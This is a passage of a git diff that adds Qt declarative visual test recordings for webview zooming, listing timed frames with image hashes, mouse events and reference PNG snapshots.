+ Frame {
+ msec: 4240
+ hash: "82ea3d06367ce9dc582dbdbc186cc70a"
+ }
+ Frame {
+ msec: 4256
+ hash: "359040facbe531c7f6b805b8bfc5b17a"
+ }
+ Frame {
+ msec: 4272
+ hash: "264c7b65bae7e3945d87c17edfda6889"
+ }
+ Frame {
+ msec: 4288
+ hash: "d941ec8e363942af02f36d4672521801"
+ }
+ Frame {
+ msec: 4304
+ hash: "e46e145b4d07d1697c1d9efce80c80de"
+ }
+ Frame {
+ msec: 4320
+ hash: "d8bed5c42bc5725d811db4dacdab1581"
+ }
+ Frame {
+ msec: 4336
+ hash: "aa221160b4a11b30cb73eaa8ccaa9dfd"
+ }
+ Frame {
+ msec: 4352
+ hash: "f411483477906d83f872b306cd021406"
+ }
+ Frame {
+ msec: 4368
+ hash: "d9c52e4f99416fa1043a9c34a1c29f5a"
+ }
+ Frame {
+ msec: 4384
+ hash: "ec2890446f34b8a5d47ae97ba2853d0f"
+ }
+ Frame {
+ msec: 4400
+ hash: "6a3e6ef7d832fa7ec813b38171cb3602"
+ }
+ Frame {
+ msec: 4416
+ hash: "6dfd75b6cb780f7d80466f3450d0b255"
+ }
+ Frame {
+ msec: 4432
+ hash: "170774843dc6f28f51f07c445e046bd8"
+ }
+ Frame {
+ msec: 4448
+ hash: "eab348bef656739d9723d3bd659c43ff"
+ }
+ Frame {
+ msec: 4464
+ hash: "f06e546bb710002cdf1cefd51ffa47c4"
+ }
+ Frame {
+ msec: 4480
+ hash: "52f7ff1348d9aa7cdf43cd81f0a71625"
+ }
+ Frame {
+ msec: 4496
+ hash: "55a5b1befa3b7a4674a62d492b5527ea"
+ }
+ Frame {
+ msec: 4512
+ hash: "699c093fddc6b9293a011d8d6eccd36d"
+ }
+ Frame {
+ msec: 4528
+ hash: "b988e1ad7dc7d26ffeea8f71a69a9abf"
+ }
+ Frame {
+ msec: 4544
+ hash: "8dea2b47492f83f961a47536a10aad0c"
+ }
+ Frame {
+ msec: 4560
+ hash: "925ea8105779ffd801a3c62129d64bed"
+ }
+ Frame {
+ msec: 4576
+ hash: "aa5d957c4f452b1f1c70ea672ce4a0b9"
+ }
+ Frame {
+ msec: 4592
+ hash: "85d3ea97a1fb152ae8ad65a17693a16d"
+ }
+ Frame {
+ msec: 4608
+ hash: "069b2bc8b86f822c5e7ceca3664e78a6"
+ }
+ Frame {
+ msec: 4624
+ hash: "209071b7f72d8c25b9ce27c05397fe56"
+ }
+ Frame {
+ msec: 4640
+ hash: "068dea708612620d34bd57c6affb44b1"
+ }
+ Frame {
+ msec: 4656
+ hash: "36b53a0845220645059fed803a6ffcbc"
+ }
+ Frame {
+ msec: 4672
+ hash: "2c84e15006a39a554eb2047bae9d4f6f"
+ }
+ Frame {
+ msec: 4688
+ hash: "1bdab31534f4b5a7e9d27ede3e9acb57"
+ }
+ Frame {
+ msec: 4704
+ hash: "688689eeb584b0c74f0322af35857dd5"
+ }
+ Frame {
+ msec: 4720
+ hash: "024939fea5b6c6f9d3e26a0abf42ae3c"
+ }
+ Frame {
+ msec: 4736
+ hash: "2efb2f47c6f0be3743f0f4dc7a66b08e"
+ }
+ Frame {
+ msec: 4752
+ hash: "4631f3756af880693d3654c16cbe47bb"
+ }
+ Frame {
+ msec: 4768
+ hash: "2fd77649c1e1ade97534ef530ad05612"
+ }
+ Frame {
+ msec: 4784
+ hash: "5d13517bac111c8af49c444d41a42ea1"
+ }
+ Frame {
+ msec: 4800
+ image: "resolution.4.png"
+ }
+ Frame {
+ msec: 4816
+ hash: "8bd8efe405a42730304dcc120a6e718c"
+ }
+ Frame {
+ msec: 4832
+ hash: "a83c543977e3f1dd4c020375eb3273fd"
+ }
+ Frame {
+ msec: 4848
+ hash: "c52f38469fec77afc7f0a44b992e3d0d"
+ }
+ Frame {
+ msec: 4864
+ hash: "af645449d6ec3f42449ffc59193aaaa4"
+ }
+ Frame {
+ msec: 4880
+ hash: "2eb982cf754c77c109158076957775ae"
+ }
+ Frame {
+ msec: 4896
+ hash: "9bf2fd4a4e45f302b34b7f038937d3d7"
+ }
+ Frame {
+ msec: 4912
+ hash: "5520e309d68c8eedf76a9392714a6150"
+ }
+ Frame {
+ msec: 4928
+ hash: "9dcd043a25e33b788729c0a0531301e7"
+ }
+ Frame {
+ msec: 4944
+ hash: "1475b9bcfe08c66135673f4284c9bbcd"
+ }
+ Frame {
+ msec: 4960
+ hash: "9af1f355bcf4d5f05b42040ebba75e09"
+ }
+ Frame {
+ msec: 4976
+ hash: "8b6e04980ea60ca2ff06053d35c06881"
+ }
+ Frame {
+ msec: 4992
+ hash: "def466e377a44afc4b2a9a9ebb258f86"
+ }
+ Frame {
+ msec: 5008
+ hash: "18f6d6f5a3fdaee0037580df0f4f9ef0"
+ }
+ Frame {
+ msec: 5024
+ hash: "ae2579498558f6f93489999c7c82cbcd"
+ }
+ Frame {
+ msec: 5040
+ hash: "623d8e756c2c131150554272df231bf9"
+ }
+ Frame {
+ msec: 5056
+ hash: "c13146576229848b8a1e1b382fbf749d"
+ }
+ Frame {
+ msec: 5072
+ hash: "f963a399aeea1d34ec3bd30a5b991035"
+ }
+ Frame {
+ msec: 5088
+ hash: "45a4db021ba0a53ad783c14a3b66aa38"
+ }
+ Frame {
+ msec: 5104
+ hash: "2031618470e3bb3a3435fe0e270a15d4"
+ }
+ Frame {
+ msec: 5120
+ hash: "f7cc01c301f29110db8364fecc8751f1"
+ }
+ Frame {
+ msec: 5136
+ hash: "2d366fa500257ec0a12863f3637d0c47"
+ }
+ Frame {
+ msec: 5152
+ hash: "4ba700e7f9ffba4889ca26d903a63029"
+ }
+ Frame {
+ msec: 5168
+ hash: "329bec5e3d6a131b4bd9a056659bdb3e"
+ }
+ Frame {
+ msec: 5184
+ hash: "48f7356707cdbcb401c135207ee38821"
+ }
+ Frame {
+ msec: 5200
+ hash: "5314e448affe60d193d07a784035ecce"
+ }
+ Frame {
+ msec: 5216
+ hash: "c87e98becdf99c214ad4987985b4af07"
+ }
+ Frame {
+ msec: 5232
+ hash: "ea81d2a967b619980d7e42937ec74668"
+ }
+ Frame {
+ msec: 5248
+ hash: "845319d4e0f6ee97697e59c606220e7a"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.0.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.0.png
new file mode 100644
index 00000000..4b9abb4f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.1.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.1.png
new file mode 100644
index 00000000..5ce97871
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.qml
new file mode 100644
index 00000000..4aab7082
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zoomTextOnly.qml
@@ -0,0 +1,655 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "4e401b5ebff6e442fa108e94a5dba668"
+ }
+ Frame {
+ msec: 32
+ hash: "c2f8551d0442d0736b71c54fc965562b"
+ }
+ Frame {
+ msec: 48
+ hash: "4fc1ef611b24ec5737310859b12c83d3"
+ }
+ Frame {
+ msec: 64
+ hash: "7df07aea83bc5c3213e7871854661820"
+ }
+ Frame {
+ msec: 80
+ hash: "0ae4ee18cc675749f008b897fe35cc40"
+ }
+ Frame {
+ msec: 96
+ hash: "0ae4ee18cc675749f008b897fe35cc40"
+ }
+ Frame {
+ msec: 112
+ hash: "f5c917c7ca26bb916dd4df84eafc8e94"
+ }
+ Frame {
+ msec: 128
+ hash: "0696257de0441666bd264f8db6383d15"
+ }
+ Frame {
+ msec: 144
+ hash: "0b43fdee23346c30c60b822a20131cc3"
+ }
+ Frame {
+ msec: 160
+ hash: "98dbd004cf4809dbc90bfa9272378644"
+ }
+ Frame {
+ msec: 176
+ hash: "32d0e9005ebb9dfd410d348e336bcd93"
+ }
+ Frame {
+ msec: 192
+ hash: "8a64b18006ad0bd2c373a2a9395ce52e"
+ }
+ Frame {
+ msec: 208
+ hash: "7dc26fd658f626b8fe18545cf93dc4ec"
+ }
+ Frame {
+ msec: 224
+ hash: "6712be93cf1ed2b7b202367418b6d2d7"
+ }
+ Frame {
+ msec: 240
+ hash: "524840a3453af4e97ac82b559308cce3"
+ }
+ Frame {
+ msec: 256
+ hash: "11436091b24c02af94dfa75a5fd1a001"
+ }
+ Frame {
+ msec: 272
+ hash: "d3689b53474b4b26630d70ba01c057b4"
+ }
+ Frame {
+ msec: 288
+ hash: "16e2b66f28ed80d80d9b5264d89624d5"
+ }
+ Frame {
+ msec: 304
+ hash: "87636076959de7e5a0a8bd8b31354ed4"
+ }
+ Frame {
+ msec: 320
+ hash: "a6916da6bfac27aa87d75da2bbb73f31"
+ }
+ Frame {
+ msec: 336
+ hash: "58cfba3aae4bf54a5b445e0e34571d2d"
+ }
+ Frame {
+ msec: 352
+ hash: "1475ae722afd169cc0c8e1fde39eb6b7"
+ }
+ Frame {
+ msec: 368
+ hash: "14d08c2ca430631af8ede1013f4f4da0"
+ }
+ Frame {
+ msec: 384
+ hash: "ace9db9112d147569dc0cf1a1b680d6c"
+ }
+ Frame {
+ msec: 400
+ hash: "08bc6815601417f3731eaae398d0861d"
+ }
+ Frame {
+ msec: 416
+ hash: "809870dfd9b05ce07170edd945348ddf"
+ }
+ Frame {
+ msec: 432
+ hash: "5784deb0f3270cf7a0d0964cd9d31458"
+ }
+ Frame {
+ msec: 448
+ hash: "2f06ee407e5175d4b954e31c39c9522c"
+ }
+ Frame {
+ msec: 464
+ hash: "48a7dbed293fbbd5ea202190837a411f"
+ }
+ Frame {
+ msec: 480
+ hash: "abf3d90803cfa12d35d2752be7ea02d8"
+ }
+ Frame {
+ msec: 496
+ hash: "a60edcf8d792f93a839e6ddbafbf993f"
+ }
+ Frame {
+ msec: 512
+ hash: "7e8dfe86ea0849022355b12578d4cb1a"
+ }
+ Frame {
+ msec: 528
+ hash: "3c84122b0933ee870f178d39469e51e2"
+ }
+ Frame {
+ msec: 544
+ hash: "25f463e91febf5b6d8819fd5010bc1c2"
+ }
+ Frame {
+ msec: 560
+ hash: "d423a9bc912237d0f20b924849ba0cb1"
+ }
+ Frame {
+ msec: 576
+ hash: "5bd3cc309a5fce6183654975543250b2"
+ }
+ Frame {
+ msec: 592
+ hash: "4e401b5ebff6e442fa108e94a5dba668"
+ }
+ Frame {
+ msec: 608
+ hash: "9a4bf1400da038f2088dd4c49403d852"
+ }
+ Frame {
+ msec: 624
+ hash: "a37024356613bd5d678e0b2f7b8f5959"
+ }
+ Frame {
+ msec: 640
+ hash: "4f37d72c10e51f68a2359086094da249"
+ }
+ Frame {
+ msec: 656
+ hash: "6093bcb7673f8e58fe5a7b0143638822"
+ }
+ Frame {
+ msec: 672
+ hash: "c272aeea2b9c450fbd732305ccc01b93"
+ }
+ Frame {
+ msec: 688
+ hash: "6a4e2ee45b26037421e2a5f2d6ee517e"
+ }
+ Frame {
+ msec: 704
+ hash: "d912afcbce6c9d879a07ffc3c51b36d1"
+ }
+ Frame {
+ msec: 720
+ hash: "2578335ac6f21c8aec2c87515562c321"
+ }
+ Frame {
+ msec: 736
+ hash: "5b77af55f0a723ba762d283f41e91c98"
+ }
+ Frame {
+ msec: 752
+ hash: "b420fc71b22fa608a9c0cdbbbc61c447"
+ }
+ Frame {
+ msec: 768
+ hash: "3f7a9cecf2a590e8728137fabfd3f5f3"
+ }
+ Frame {
+ msec: 784
+ hash: "c51f12a2f438f137785c70e3af4922fd"
+ }
+ Frame {
+ msec: 800
+ hash: "5d97175fc4d986e5b21758d4ac785025"
+ }
+ Frame {
+ msec: 816
+ hash: "94f922f3460ad76cd05cb5b321977a94"
+ }
+ Frame {
+ msec: 832
+ hash: "5747adbc4f0b22ed359793d72d3e7d1f"
+ }
+ Frame {
+ msec: 848
+ hash: "255d1d45d3343972f156dfab7d13ce41"
+ }
+ Frame {
+ msec: 864
+ hash: "e5b54132ffb83acad30622e969405bc0"
+ }
+ Frame {
+ msec: 880
+ hash: "2c05cf00e3417883e789f58c2728dc97"
+ }
+ Frame {
+ msec: 896
+ hash: "9d66290b1aae1de3025d24d3efc4ca1c"
+ }
+ Frame {
+ msec: 912
+ hash: "5e9b0783b1b4221145a4febbae56b30f"
+ }
+ Frame {
+ msec: 928
+ hash: "21eea497c26600b03d868661232b3ebe"
+ }
+ Frame {
+ msec: 944
+ hash: "2383c415170ac6444f1c193ed698f682"
+ }
+ Frame {
+ msec: 960
+ image: "zoomTextOnly.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "4ed0f85dec4eb0bb740ac3780b6872c0"
+ }
+ Frame {
+ msec: 992
+ hash: "0a18bccca4efeadfced8e5cb1715a1f3"
+ }
+ Frame {
+ msec: 1008
+ hash: "823e65df9075eb0e9a3aad6b15ec3342"
+ }
+ Frame {
+ msec: 1024
+ hash: "823e65df9075eb0e9a3aad6b15ec3342"
+ }
+ Frame {
+ msec: 1040
+ hash: "0a18bccca4efeadfced8e5cb1715a1f3"
+ }
+ Frame {
+ msec: 1056
+ hash: "4ed0f85dec4eb0bb740ac3780b6872c0"
+ }
+ Frame {
+ msec: 1072
+ hash: "fae77663566351fa3bb506b459496a9d"
+ }
+ Frame {
+ msec: 1088
+ hash: "2383c415170ac6444f1c193ed698f682"
+ }
+ Frame {
+ msec: 1104
+ hash: "2e05365256bebbdf3229f99b94263b6c"
+ }
+ Frame {
+ msec: 1120
+ hash: "5e9b0783b1b4221145a4febbae56b30f"
+ }
+ Frame {
+ msec: 1136
+ hash: "9d66290b1aae1de3025d24d3efc4ca1c"
+ }
+ Frame {
+ msec: 1152
+ hash: "2c05cf00e3417883e789f58c2728dc97"
+ }
+ Frame {
+ msec: 1168
+ hash: "e5b54132ffb83acad30622e969405bc0"
+ }
+ Frame {
+ msec: 1184
+ hash: "255d1d45d3343972f156dfab7d13ce41"
+ }
+ Frame {
+ msec: 1200
+ hash: "5747adbc4f0b22ed359793d72d3e7d1f"
+ }
+ Frame {
+ msec: 1216
+ hash: "94f922f3460ad76cd05cb5b321977a94"
+ }
+ Frame {
+ msec: 1232
+ hash: "5d97175fc4d986e5b21758d4ac785025"
+ }
+ Frame {
+ msec: 1248
+ hash: "c51f12a2f438f137785c70e3af4922fd"
+ }
+ Frame {
+ msec: 1264
+ hash: "3f7a9cecf2a590e8728137fabfd3f5f3"
+ }
+ Frame {
+ msec: 1280
+ hash: "b420fc71b22fa608a9c0cdbbbc61c447"
+ }
+ Frame {
+ msec: 1296
+ hash: "5b77af55f0a723ba762d283f41e91c98"
+ }
+ Frame {
+ msec: 1312
+ hash: "2578335ac6f21c8aec2c87515562c321"
+ }
+ Frame {
+ msec: 1328
+ hash: "a9b5438bd48dbafd307d571877416003"
+ }
+ Frame {
+ msec: 1344
+ hash: "6a4e2ee45b26037421e2a5f2d6ee517e"
+ }
+ Frame {
+ msec: 1360
+ hash: "c272aeea2b9c450fbd732305ccc01b93"
+ }
+ Frame {
+ msec: 1376
+ hash: "37c7e50c270e8feb4dd9018580284a85"
+ }
+ Frame {
+ msec: 1392
+ hash: "4f37d72c10e51f68a2359086094da249"
+ }
+ Frame {
+ msec: 1408
+ hash: "a37024356613bd5d678e0b2f7b8f5959"
+ }
+ Frame {
+ msec: 1424
+ hash: "9a4bf1400da038f2088dd4c49403d852"
+ }
+ Frame {
+ msec: 1440
+ hash: "4e401b5ebff6e442fa108e94a5dba668"
+ }
+ Frame {
+ msec: 1456
+ hash: "5bd3cc309a5fce6183654975543250b2"
+ }
+ Frame {
+ msec: 1472
+ hash: "d423a9bc912237d0f20b924849ba0cb1"
+ }
+ Frame {
+ msec: 1488
+ hash: "25f463e91febf5b6d8819fd5010bc1c2"
+ }
+ Frame {
+ msec: 1504
+ hash: "3c84122b0933ee870f178d39469e51e2"
+ }
+ Frame {
+ msec: 1520
+ hash: "7e8dfe86ea0849022355b12578d4cb1a"
+ }
+ Frame {
+ msec: 1536
+ hash: "a60edcf8d792f93a839e6ddbafbf993f"
+ }
+ Frame {
+ msec: 1552
+ hash: "abf3d90803cfa12d35d2752be7ea02d8"
+ }
+ Frame {
+ msec: 1568
+ hash: "48a7dbed293fbbd5ea202190837a411f"
+ }
+ Frame {
+ msec: 1584
+ hash: "2f06ee407e5175d4b954e31c39c9522c"
+ }
+ Frame {
+ msec: 1600
+ hash: "5784deb0f3270cf7a0d0964cd9d31458"
+ }
+ Frame {
+ msec: 1616
+ hash: "809870dfd9b05ce07170edd945348ddf"
+ }
+ Frame {
+ msec: 1632
+ hash: "08bc6815601417f3731eaae398d0861d"
+ }
+ Frame {
+ msec: 1648
+ hash: "ace9db9112d147569dc0cf1a1b680d6c"
+ }
+ Frame {
+ msec: 1664
+ hash: "14d08c2ca430631af8ede1013f4f4da0"
+ }
+ Frame {
+ msec: 1680
+ hash: "1475ae722afd169cc0c8e1fde39eb6b7"
+ }
+ Frame {
+ msec: 1696
+ hash: "58cfba3aae4bf54a5b445e0e34571d2d"
+ }
+ Frame {
+ msec: 1712
+ hash: "a6916da6bfac27aa87d75da2bbb73f31"
+ }
+ Frame {
+ msec: 1728
+ hash: "87636076959de7e5a0a8bd8b31354ed4"
+ }
+ Frame {
+ msec: 1744
+ hash: "16e2b66f28ed80d80d9b5264d89624d5"
+ }
+ Frame {
+ msec: 1760
+ hash: "d3689b53474b4b26630d70ba01c057b4"
+ }
+ Frame {
+ msec: 1776
+ hash: "11436091b24c02af94dfa75a5fd1a001"
+ }
+ Frame {
+ msec: 1792
+ hash: "524840a3453af4e97ac82b559308cce3"
+ }
+ Frame {
+ msec: 1808
+ hash: "6712be93cf1ed2b7b202367418b6d2d7"
+ }
+ Frame {
+ msec: 1824
+ hash: "7dc26fd658f626b8fe18545cf93dc4ec"
+ }
+ Frame {
+ msec: 1840
+ hash: "8a64b18006ad0bd2c373a2a9395ce52e"
+ }
+ Frame {
+ msec: 1856
+ hash: "32d0e9005ebb9dfd410d348e336bcd93"
+ }
+ Frame {
+ msec: 1872
+ hash: "98dbd004cf4809dbc90bfa9272378644"
+ }
+ Frame {
+ msec: 1888
+ hash: "0b43fdee23346c30c60b822a20131cc3"
+ }
+ Frame {
+ msec: 1904
+ hash: "0696257de0441666bd264f8db6383d15"
+ }
+ Frame {
+ msec: 1920
+ image: "zoomTextOnly.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "0ae4ee18cc675749f008b897fe35cc40"
+ }
+ Frame {
+ msec: 1952
+ hash: "0ae4ee18cc675749f008b897fe35cc40"
+ }
+ Frame {
+ msec: 1968
+ hash: "7df07aea83bc5c3213e7871854661820"
+ }
+ Frame {
+ msec: 1984
+ hash: "4fc1ef611b24ec5737310859b12c83d3"
+ }
+ Frame {
+ msec: 2000
+ hash: "c2f8551d0442d0736b71c54fc965562b"
+ }
+ Frame {
+ msec: 2016
+ hash: "4ec29787e437f9619ce0f0a0f4889d0f"
+ }
+ Frame {
+ msec: 2032
+ hash: "c2f8551d0442d0736b71c54fc965562b"
+ }
+ Frame {
+ msec: 2048
+ hash: "4fc1ef611b24ec5737310859b12c83d3"
+ }
+ Frame {
+ msec: 2064
+ hash: "7df07aea83bc5c3213e7871854661820"
+ }
+ Frame {
+ msec: 2080
+ hash: "0ae4ee18cc675749f008b897fe35cc40"
+ }
+ Frame {
+ msec: 2096
+ hash: "0ae4ee18cc675749f008b897fe35cc40"
+ }
+ Frame {
+ msec: 2112
+ hash: "f5c917c7ca26bb916dd4df84eafc8e94"
+ }
+ Frame {
+ msec: 2128
+ hash: "0696257de0441666bd264f8db6383d15"
+ }
+ Frame {
+ msec: 2144
+ hash: "0b43fdee23346c30c60b822a20131cc3"
+ }
+ Frame {
+ msec: 2160
+ hash: "98dbd004cf4809dbc90bfa9272378644"
+ }
+ Frame {
+ msec: 2176
+ hash: "32d0e9005ebb9dfd410d348e336bcd93"
+ }
+ Frame {
+ msec: 2192
+ hash: "8a64b18006ad0bd2c373a2a9395ce52e"
+ }
+ Frame {
+ msec: 2208
+ hash: "7dc26fd658f626b8fe18545cf93dc4ec"
+ }
+ Frame {
+ msec: 2224
+ hash: "6712be93cf1ed2b7b202367418b6d2d7"
+ }
+ Frame {
+ msec: 2240
+ hash: "524840a3453af4e97ac82b559308cce3"
+ }
+ Frame {
+ msec: 2256
+ hash: "11436091b24c02af94dfa75a5fd1a001"
+ }
+ Frame {
+ msec: 2272
+ hash: "d3689b53474b4b26630d70ba01c057b4"
+ }
+ Frame {
+ msec: 2288
+ hash: "16e2b66f28ed80d80d9b5264d89624d5"
+ }
+ Frame {
+ msec: 2304
+ hash: "87636076959de7e5a0a8bd8b31354ed4"
+ }
+ Frame {
+ msec: 2320
+ hash: "a6916da6bfac27aa87d75da2bbb73f31"
+ }
+ Frame {
+ msec: 2336
+ hash: "58cfba3aae4bf54a5b445e0e34571d2d"
+ }
+ Frame {
+ msec: 2352
+ hash: "1475ae722afd169cc0c8e1fde39eb6b7"
+ }
+ Frame {
+ msec: 2368
+ hash: "14d08c2ca430631af8ede1013f4f4da0"
+ }
+ Frame {
+ msec: 2384
+ hash: "ace9db9112d147569dc0cf1a1b680d6c"
+ }
+ Frame {
+ msec: 2400
+ hash: "08bc6815601417f3731eaae398d0861d"
+ }
+ Frame {
+ msec: 2416
+ hash: "809870dfd9b05ce07170edd945348ddf"
+ }
+ Frame {
+ msec: 2432
+ hash: "5784deb0f3270cf7a0d0964cd9d31458"
+ }
+ Frame {
+ msec: 2448
+ hash: "2f06ee407e5175d4b954e31c39c9522c"
+ }
+ Frame {
+ msec: 2464
+ hash: "48a7dbed293fbbd5ea202190837a411f"
+ }
+ Frame {
+ msec: 2480
+ hash: "abf3d90803cfa12d35d2752be7ea02d8"
+ }
+ Frame {
+ msec: 2496
+ hash: "a60edcf8d792f93a839e6ddbafbf993f"
+ }
+ Frame {
+ msec: 2512
+ hash: "7e8dfe86ea0849022355b12578d4cb1a"
+ }
+ Frame {
+ msec: 2528
+ hash: "3c84122b0933ee870f178d39469e51e2"
+ }
+ Frame {
+ msec: 2544
+ hash: "25f463e91febf5b6d8819fd5010bc1c2"
+ }
+ Frame {
+ msec: 2560
+ hash: "d423a9bc912237d0f20b924849ba0cb1"
+ }
+ Frame {
+ msec: 2576
+ hash: "5bd3cc309a5fce6183654975543250b2"
+ }
+ Frame {
+ msec: 2592
+ hash: "4e401b5ebff6e442fa108e94a5dba668"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.0.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.0.png
new file mode 100644
index 00000000..aaab35d4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.1.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.1.png
new file mode 100644
index 00000000..aaab35d4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.2.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.2.png
new file mode 100644
index 00000000..aaab35d4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.3.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.3.png
new file mode 100644
index 00000000..aaab35d4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.qml
new file mode 100644
index 00000000..080d4d05
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/zooming.qml
@@ -0,0 +1,2115 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 32
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 48
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 64
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 80
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 96
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 112
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 128
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 144
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 160
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 176
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 192
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 208
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 224
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 240
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 256
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 272
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 288
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 304
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 320
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 336
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 352
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 197; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 185; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 368
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 169; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 384
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 161; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 400
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 155; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 147; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 416
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 141; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 138; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 432
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 130; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 127; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 448
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 125; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 123; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 464
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 480
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 121; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 496
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 512
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 117; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 116; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 528
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 115; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 544
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 113; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 560
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
